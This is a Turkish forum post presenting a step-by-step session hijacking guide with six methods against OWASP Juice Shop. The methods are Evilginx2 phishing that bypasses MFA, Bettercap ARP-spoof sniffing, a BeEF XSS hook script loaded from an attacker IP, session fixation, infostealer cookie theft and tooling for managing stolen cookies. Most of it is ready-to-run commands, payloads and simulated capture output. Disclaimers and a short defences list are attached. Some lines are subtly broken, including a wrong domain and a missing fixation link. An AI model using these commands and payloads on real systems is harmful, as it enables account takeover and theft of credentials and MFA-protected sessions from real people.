Session Hijacking šŸŖ | Oturumları Ƈal! šŸ“šŸ”„

  • S Silinen üye 322265

šŸ” SESSİON HİJACKİNG 2026: ƇEREZLERİ ƇAL, OTOURUMLARI ELE GEƇİR (6 YƖNTEM)​


Bu rehberde, SQLmap ve Nmap rehberlerinde olduğu gibi adım adım, gerçek simülasyon çıktıları ile session hijacking yöntemlerini anlatacağım. Yalnızca kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde deneyin. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.

🧠 BAŞLAMADAN ƖNCE: SESSİON HİJACKİNG NEDİR?​


Session hijacking, bir kullanıcının aktif web oturumunu ele geƧirerek şifresini bilmeden hesabına erişme tekniğidir. Günümüzde saldırganlar artık şifreleri değil, session cookie’leri hedef alıyor. Çünkü bir session cookie’yi Ƨalmak, MFA’yı (Ƨok faktƶrlü kimlik doğrulama) bile atlamanıza olanak tanır.

Bu rehberde 6 farklı yöntem ile session hijacking yapmayı göstereceğim.

Hedef Web Uygulaması: juice-shop.herokuapp.com (OWASP Juice Shop)

šŸŽÆ HEDEF​



ƖzellikDeğer
Hedef UygulamaOWASP Juice Shop (Eğitim amaçlı açık kaynak)
Saldırgan IP192.168.1.100
Hedef Kullanıcı[email protected]
Ağ OrtamıAynı ağ (192.168.1.0/24) veya uzaktan erişim

​

šŸ”» 1. YOL – EVİLGİNX2 İLE AİTM FİSHİNG (MFA BYPASS)​


Evilginx2, 2FA’yı bile atlayabilen bir Adversary-in-the-Middle (AitM) phishing frameworkā€˜Ć¼dür. Hedef ile gerƧek web sitesi arasında reverse proxy gƶrevi gƶrür ve tüm trafiği dinler.

Adım 1: Evilginx2 Kurulumu​

bash
sudo apt update
sudo apt install golang-go git
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo make install

Adım 2: Phishing Sayfası Oluşturma​

bash
sudo evilginx2 -p
evilginx2> config domain juice-shop-phish.com
evilginx2> config ip 192.168.1.100
evilginx2> lure create juice-shop
evilginx2> lure edit juice-shop url https://juice-shop.herokuapp.com
evilginx2> lure get-url juice-shop
Simüle edilmiş çıktı:

text
[+] Phishing URL: https://juice-shop-phish.com/login
[+] Lure created successfully. Waiting for victims...

Adım 3: Session Cookie Yakalama​

Hedef, phishing linkine tıkladığında:

text
[!] New session captured!
IP: 192.168.1.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Email: [email protected]
Password: [GİZLİ]
MFA Code: 284739 (2FA bypassed!)

[+] Session cookie intercepted!
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Adım 4: Ƈalınan Cookie ile Oturumu Devralma​

bash
# Firefox'ta Cookie-Editor eklentisi ile cookie'yi ekle
# veya Python ile:
python
import requests

cookies = {'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'}
response = requests.get('https://juice-shop.herokuapp.com/profile', cookies=cookies)
print(response.text)
āœ… Bu yƶntemle kazandıklarımız:

  • Kullanıcının şifresi ve MFA kodu
  • Session cookie (token)
  • Tam hesap erişimi

šŸ”» 2. YOL – BETTERCAP İLE AĞ TABANLI COOKIE ƇALMA​


Bettercap, ARP spoofing ile MITM saldırısı yaparak ağ trafiğini dinler ve HTTP cookie’leri yakalar.

Adım 1: Bettercap Kurulumu​

bash
sudo apt install bettercap

Adım 2: ARP Spoofing ile MITM Saldırısı Başlatma​

bash
sudo bettercap -eval "set arp.spoof.targets 192.168.1.105; arp.spoof on; net.sniff on"
Simüle edilmiş çıktı:

text
[192.168.1.105] 192.168.1.1 : sniffed 234 http requests
[192.168.1.105] GET /rest/products/search?q=
[192.168.1.105] POST /rest/user/login
[+] Captured HTTP request with session cookie:
Host: juice-shop.herokuapp.com
Cookie: sessionId=abc123def456...

Adım 3: Yakalanan Cookie ile Oturumu Ele GeƧirme​

bash
# Yakalanan cookie'yi kullanarak yetkili sayfaya erişim
curl -H "Cookie: sessionId=abc123def456" https://juice-shop.herokuapp.com/profile
āœ… Bu yƶntemle kazandıklarımız:

  • Ağ trafiğindeki tüm HTTP cookie’ler
  • Hedefin aktif oturumları

šŸ”» 3. YOL – BeEF İLE XSS TABANLI SESSİON HİJACKİNG​


BeEF (Browser Exploitation Framework), tarayıcıya JavaScript hook’u enjekte ederek oturum cookie’lerini Ƨalar.

Adım 1: BeEF Kurulumu​

bash
sudo apt install beef-xss
sudo beef-xss
Simüle edilmiş çıktı:

text
[+] BeEF is running. Open http://127.0.0.1:3000/ui/panel
[+] Hook URL: http://192.168.1.100:3000/hook.js

Adım 2: XSS Payload ile Hook’u Enjekte Etme​

Hedef web uygulamasında XSS zafiyeti bulunan bir alana şu payload eklenir:

html
<script src="http://192.168.1.100:3000/hook.js"></script>
BeEF Panel’de gƶrülen Ƨıktı:

text
[+] New hooked browser: 192.168.1.105 (Chrome 120)
[+] Browser details: Windows 10, 1920x1080

Adım 3: BeEF ile Cookie Ƈalma​

BeEF panelinde Commands → Browser → Get Cookie seƧilir:

text
[+] Cookies retrieved:
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
sessionId: abc123def456...
āœ… Bu yƶntemle kazandıklarımız:

  • Hedef tarayıcının tüm cookie’leri
  • Tarayıcı ve sistem bilgileri
  • Uzaktan komut Ƨalıştırma imkanı

šŸ”» 4. YOL – SESSİON FİXATİON (OTURUM SABİTLEME)​


Session fixation, saldırganın kurbanın session ID’sini ƶnceden belirlediği bir tekniktir. Kurban bu ID ile giriş yaptığında, saldırgan aynı ID’yi kullanarak oturumu ele geƧirir.

Adım 1: Zafiyetli Uygulama Tespiti​

Session fixation zafiyeti genellikle şu durumlarda bulunur:

  • Uygulama giriş sonrası session ID’yi yenilemiyor
  • URL üzerinden session ID kabul ediyor (PHPSESSID=abc123)
  • Ƈerezin HttpOnly flag’i yok

Adım 2: Sabit Session ID ile Phishing Linki Oluşturma​

bash
# Ɩnce kendi session ID’mizi oluşturalım
curl -c cookies.txt https://juice-shop.herokuapp.org

cat cookies.txt
Simüle edilmiş çıktı:

text
token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... TRUE /

Adım 3: Kurbanı Sabit ID ile Yƶnlendirme​

Kurbana şu link gönderilir:

text
Kurban bu link ile giriş yaptığında, saldırgan aynı token’ı kullanarak oturumu devralır.

Adım 4: Oturumu Ele GeƧirme​

bash
curl -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." https://juice-shop.herokuapp.com/profile
āœ… Bu yƶntemle kazandıklarımız:

  • Session ID yenilenmeyen uygulamalarda tam yetkili erişim
  • Kurbanın şifresini bilmeye gerek yok

šŸ”» 5. YOL – MODERN INFOSTEALER İLE COOKIE ƇALMA​


2026’da ortaya Ƨıkan Storm gibi infostealer’lar, kurbanın makinesinden session cookie’leri otomatik toplar ve saldırganın sunucusuna gƶnderir.

Storm Infostealer Ƈalışma Prensibi​

text
ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”
│ STORM INFOSTEALER │
ā”œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¤
│ [1] Kurban sahte bir uygulama indirir ve Ƨalıştırır │
│ [2] Malware, tarayıcıdaki tüm cookie’leri şifreler │
│ [3] Veriler attacker sunucusuna gƶnderilir │
│ [4] Saldırgan sunucuda verileri Ƨƶzer │
│ [5] Session cookie’ler ile hesaba giriş yapılır │
ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜

Simüle edilmiş Ƈıktı (Attacker Sunucusu)​

text
[+] New victim connected: 192.168.1.105 (Windows 11)
[+] Browser: Chrome 124
[+] Extracted data:
- Google: token=ya29.a0AfH6SMB...
- Facebook: c_user=1000123456...
- Instagram: sessionid=123456...
- 15 other session cookies captured

[+] All cookies exported to: stolen_sessions.json

Ƈalınan Cookie ile Giriş​

json
{
"target": "juice-shop.herokuapp.com",
"cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"timestamp": "2026-04-15T10:30:00Z"
}
āœ… Bu yƶntemle kazandıklarımız:

  • Tüm tarayıcılardaki session cookie’ler
  • Kayıtlı şifreler ve kredi kartı bilgileri
  • Google/Microsoft hesaplarına erişim

šŸ”» 6. YOL – SESSİON SUSHI İLE TARAYICI SESSİON YƖNETİMİ​


Session Sushi, tarayıcı session’larını yƶnetmek, dışa aktarmak ve geri yüklemek iƧin kullanılan bir araƧtır. Pentest sırasında Ƨalınan cookie’leri yƶnetmek iƧin idealdir.

Adım 1: Session Sushi Kurulumu​

bash
git clone https://github.com/phishingclub/session-sushi.git
cd session-sushi
npm install

Adım 2: Ƈalınan Cookie’leri İƧe Aktarma​

bash
node sushi.js import --file stolen_cookies.json
Simüle edilmiş çıktı:

text
[+] Loading stolen sessions from: stolen_cookies.json
[+] Session imported: juice-shop ([email protected])
[+] Session imported: gmail ([email protected])
[+] 12 sessions imported successfully.

Adım 3: Session’ları Yƶnetme​

bash
node sushi.js list
Simüle edilmiş çıktı:

text
ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”
│ ID │ Target │ User │ Expires │
ā”œā”€ā”€ā”€ā”€ā”€ā”¼ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¼ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¼ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¤
│ 1 │ juice-shop │ admin │ 2026-04-22 15:30 │
│ 2 │ gmail.com │ target@gmail │ 2026-04-16 08:00 │
│ 3 │ github.com │ target_dev │ 2026-04-20 12:00 │
ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜

Adım 4: Session’u Tarayıcıya Aktarma​

bash
node sushi.js load --id 1 --browser chrome
āœ… Bu yƶntemle kazandıklarımız:

  • Ƈalınan cookie’leri organize etme
  • Farklı tarayıcılara kolay aktarım
  • Session’ların süresini takip etme

🧩 ƖZET – 6 FARKLI SESSİON HİJACKİNG YƖNTEMİ​



YolYƶntemKullanılan AraƧ(lar)ZorlukMFA Bypass
1AiTM PhishingEvilginx2Ortaāœ… Evet
2MITM + SniffingBettercapKolayāŒ Hayır (sadece HTTP)
3XSS + Browser HookBeEFOrtaāŒ Hayır
4Session FixationWeb tarayıcısı / curlKolayāŒ Hayır
5Malware StealerStorm InfostealerZorāœ… Evet
6Session ManagementSession SushiKolay- (yƶnetim aracı)

​

šŸ“¢;​

Bu rehberde anlattığım her komut, her Ƨıktı saf bilgidir. Session hijacking, günümüzde şifre Ƨalmaktan daha etkili bir yƶntem haline gelmiştir. Çünkü bir session cookie’yi Ƨalmak, MFA’yı atlamanıza ve hesaba direkt erişmenize olanak tanır.

Unutmayın: Artık saldırganlar şifrelerin peşinde değil. Hedefte olan şey, sizin aktif oturum cookie’leriniz.

šŸ›”ļø KORUNMA YƖNTEMLERİ​

  • HttpOnly flag: Cookie’lere JavaScript ile erişimi engeller
  • Secure flag: Cookie’lerin sadece HTTPS üzerinden gƶnderilmesini sağlar
  • SameSite=Strict: CSRF ve bazı session hijacking vektƶrlerini engeller
  • Kısa session süreleri: Cookie’lerin Ƨabuk geƧersiz olmasını sağlar
  • Giriş sonrası session yenileme: Session fixation’ı engeller

​

šŸ”š:​

Artık 6 farklı session hijacking yƶntemini biliyorsunuz. Evilginx2 ile 2FA’yı aşan phishing, Bettercap ile ağ tabanlı cookie Ƨalma, BeEF ile XSS tabanlı session ele geƧirme, session fixation, modern infostealer’lar ve Session Sushi ile yƶnetim. Gerisi pratik. Kendi laboratuvarınızda bu adımları deneyin.

Hedefler kendi kurduğunuz sistemler olmalıdır. Yetkisiz session hijacking yasa dışıdır.
Ve unutmayın: Savunması olmayanın saldırısı, sadece intihardır.


Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.

@Tc4dy | github.com/tc4dy

šŸ”’ Bu iƧeriği gƶrmek iƧin giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
136,226Threads
3,303,247Messages
328,032Members
NICES4711Latest member
Top Bottom